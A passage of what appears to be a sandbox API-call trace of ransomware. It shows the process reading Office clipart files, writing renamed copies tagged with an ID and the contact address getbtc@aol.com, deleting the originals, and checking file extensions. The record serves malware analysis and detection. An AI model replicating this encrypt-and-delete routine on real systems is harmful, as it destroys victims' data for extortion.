Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0242.744] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=47786) returned 1 [0242.744] CloseHandle (hObject=0x204) returned 1 [0242.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x20 [0242.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0242.745] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.745] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0242.746] GetLastError () returned 0x0 [0242.746] ReadFile (in: hFile=0x204, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0xbaaa, lpOverlapped=0x0) returned 1 [0242.748] WriteFile (in: hFile=0x398, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xbab0, lpOverlapped=0x0) returned 1 [0242.753] ReadFile (in: hFile=0x204, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.753] WriteFile (in: hFile=0x398, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.753] SetEndOfFile (hFile=0x398) returned 1 [0242.754] CloseHandle (hObject=0x398) returned 1 [0242.754] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.754] SetEndOfFile (hFile=0x204) returned 1 [0242.757] CloseHandle (hObject=0x204) returned 1 [0242.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.757] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf")) returned 1 [0242.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0242.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0242.758] lstrlenW (lpString=".doc") returned 4 [0242.758] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.758] lstrlenW (lpString=".docx") returned 5 [0242.758] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.758] lstrlenW (lpString=".pdf") returned 4 [0242.758] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.758] lstrlenW (lpString=".xls") returned 4 [0242.758] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.758] lstrlenW (lpString=".xlsx") returned 5 [0242.758] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.758] lstrlenW (lpString=".ppt") returned 4 [0242.758] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0242.758] lstrlenW (lpString=".zip") returned 4 [0242.758] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.758] lstrlenW (lpString=".rar") returned 4 [0242.758] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.758] lstrlenW (lpString=".bz2") returned 4 [0242.758] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.758] lstrlenW (lpString=".7z") returned 3 [0242.758] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0242.758] lstrlenW (lpString=".dbf") returned 4 [0242.758] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0242.758] lstrlenW (lpString=".1cd") returned 4 [0242.758] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0242.758] lstrlenW (lpString=".jpg") returned 4 [0242.758] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0242.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0242.759] lstrlenW (lpString=".doc") returned 4 [0242.759] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.759] lstrlenW (lpString=".docx") returned 5 [0242.759] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.759] lstrlenW (lpString=".pdf") returned 4 [0242.759] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.759] lstrlenW (lpString=".xls") returned 4 [0242.759] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.759] lstrlenW (lpString=".xlsx") returned 5 [0242.759] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.759] lstrlenW (lpString=".ppt") returned 4 [0242.759] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0242.759] lstrlenW (lpString=".zip") returned 4 [0242.759] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.759] lstrlenW (lpString=".rar") returned 4 [0242.759] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.759] lstrlenW (lpString=".bz2") returned 4 [0242.759] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.759] lstrlenW (lpString=".7z") returned 3 [0242.759] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0242.759] lstrlenW (lpString=".dbf") returned 4 [0242.759] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0242.759] lstrlenW (lpString=".1cd") returned 4 [0242.759] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0242.759] lstrlenW (lpString=".jpg") returned 4 [0242.759] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.760] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0242.760] lstrlenW (lpString="BD09194_.WMF") returned 12 [0242.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0242.760] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=14540) returned 1 [0242.760] CloseHandle (hObject=0x204) returned 1 [0242.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x20 [0242.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0242.761] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.761] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0242.761] GetLastError () returned 0x0 [0242.761] ReadFile (in: hFile=0x204, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x38cc, lpOverlapped=0x0) returned 1 [0242.763] WriteFile (in: hFile=0x398, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x38d0, lpOverlapped=0x0) returned 1 [0242.764] ReadFile (in: hFile=0x204, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.764] WriteFile (in: hFile=0x398, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.764] SetEndOfFile (hFile=0x398) returned 1 [0242.764] CloseHandle (hObject=0x398) returned 1 [0242.764] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.764] SetEndOfFile (hFile=0x204) returned 1 [0242.769] CloseHandle (hObject=0x204) returned 1 [0242.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.224] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf")) returned 1 [0243.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0243.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0243.254] lstrlenW (lpString=".doc") returned 4 [0243.254] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.254] lstrlenW (lpString=".docx") returned 5 [0243.254] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.254] lstrlenW (lpString=".pdf") returned 4 [0243.255] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.255] lstrlenW (lpString=".xls") returned 4 [0243.255] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.255] lstrlenW (lpString=".xlsx") returned 5 [0243.255] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.255] lstrlenW (lpString=".ppt") returned 4 [0243.255] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0243.255] lstrlenW (lpString=".zip") returned 4 [0243.255] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.255] lstrlenW (lpString=".rar") returned 4 [0243.255] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.255] lstrlenW (lpString=".bz2") returned 4 [0243.255] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.255] lstrlenW (lpString=".7z") returned 3 [0243.255] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0243.255] lstrlenW (lpString=".dbf") returned 4 [0243.255] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0243.255] lstrlenW (lpString=".1cd") returned 4 [0243.255] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0243.255] lstrlenW (lpString=".jpg") returned 4 [0243.255] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0243.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0243.255] lstrlenW (lpString=".doc") returned 4 [0243.255] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.255] lstrlenW (lpString=".docx") returned 5 [0243.255] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.255] lstrlenW (lpString=".pdf") returned 4 [0243.255] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.256] lstrlenW (lpString=".xls") returned 4 [0243.256] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.256] lstrlenW (lpString=".xlsx") returned 5 [0243.256] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.256] lstrlenW (lpString=".ppt") returned 4 [0243.256] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0243.256] lstrlenW (lpString=".zip") returned 4 [0243.256] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.256] lstrlenW (lpString=".rar") returned 4 [0243.256] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.256] lstrlenW (lpString=".bz2") returned 4 [0243.256] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.256] lstrlenW (lpString=".7z") returned 3 [0243.256] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0243.256] lstrlenW (lpString=".dbf") returned 4 [0243.256] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0243.256] lstrlenW (lpString=".1cd") returned 4 [0243.256] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0243.256] lstrlenW (lpString=".jpg") returned 4 [0243.256] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.256] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0243.256] lstrlenW (lpString="BD19828_.WMF") returned 12 [0243.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0243.309] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=8772) returned 1 [0243.309] CloseHandle (hObject=0x398) returned 1 [0243.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x20 [0243.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0243.320] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.320] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0243.320] GetLastError () returned 0x0 [0243.320] ReadFile (in: hFile=0x39c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x2244, lpOverlapped=0x0) returned 1 [0243.324] WriteFile (in: hFile=0x200, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x2250, lpOverlapped=0x0) returned 1 [0243.325] ReadFile (in: hFile=0x39c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.325] WriteFile (in: hFile=0x200, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.325] SetEndOfFile (hFile=0x200) returned 1 [0243.326] CloseHandle (hObject=0x200) returned 1 [0243.326] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.326] SetEndOfFile (hFile=0x39c) returned 1 [0243.328] CloseHandle (hObject=0x39c) returned 1 [0243.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.329] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 1 [0243.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0243.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0243.329] lstrlenW (lpString=".doc") returned 4 [0243.329] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.329] lstrlenW (lpString=".docx") returned 5 [0243.329] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.329] lstrlenW (lpString=".pdf") returned 4 [0243.329] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.329] lstrlenW (lpString=".xls") returned 4 [0243.330] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.330] lstrlenW (lpString=".xlsx") returned 5 [0243.330] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.330] lstrlenW (lpString=".ppt") returned 4 [0243.330] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0243.330] lstrlenW (lpString=".zip") returned 4 [0243.330] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.330] lstrlenW (lpString=".rar") returned 4 [0243.330] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.330] lstrlenW (lpString=".bz2") returned 4 [0243.330] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.330] lstrlenW (lpString=".7z") returned 3 [0243.330] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0243.330] lstrlenW (lpString=".dbf") returned 4 [0243.330] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0243.330] lstrlenW (lpString=".1cd") returned 4 [0243.330] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0243.330] lstrlenW (lpString=".jpg") returned 4 [0243.330] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0243.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0243.330] lstrlenW (lpString=".doc") returned 4 [0243.330] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.330] lstrlenW (lpString=".docx") returned 5 [0243.330] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.330] lstrlenW (lpString=".pdf") returned 4 [0243.330] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.330] lstrlenW (lpString=".xls") returned 4 [0243.330] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.330] lstrlenW (lpString=".xlsx") returned 5 [0243.331] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.331] lstrlenW (lpString=".ppt") returned 4 [0243.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0243.331] lstrlenW (lpString=".zip") returned 4 [0243.331] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.331] lstrlenW (lpString=".rar") returned 4 [0243.331] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.331] lstrlenW (lpString=".bz2") returned 4 [0243.331] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.331] lstrlenW (lpString=".7z") returned 3 [0243.331] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0243.331] lstrlenW (lpString=".dbf") returned 4 [0243.331] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0243.331] lstrlenW (lpString=".1cd") returned 4 [0243.331] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0243.331] lstrlenW (lpString=".jpg") returned 4 [0243.331] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.331] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0243.331] lstrlenW (lpString="BL00012_.WMF") returned 12 [0243.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0243.352] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=9818) returned 1 [0243.352] CloseHandle (hObject=0x398) returned 1 [0243.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf")) returned 0x20 [0243.352] GetFileAttributesW (lpFileName="C:\\Program 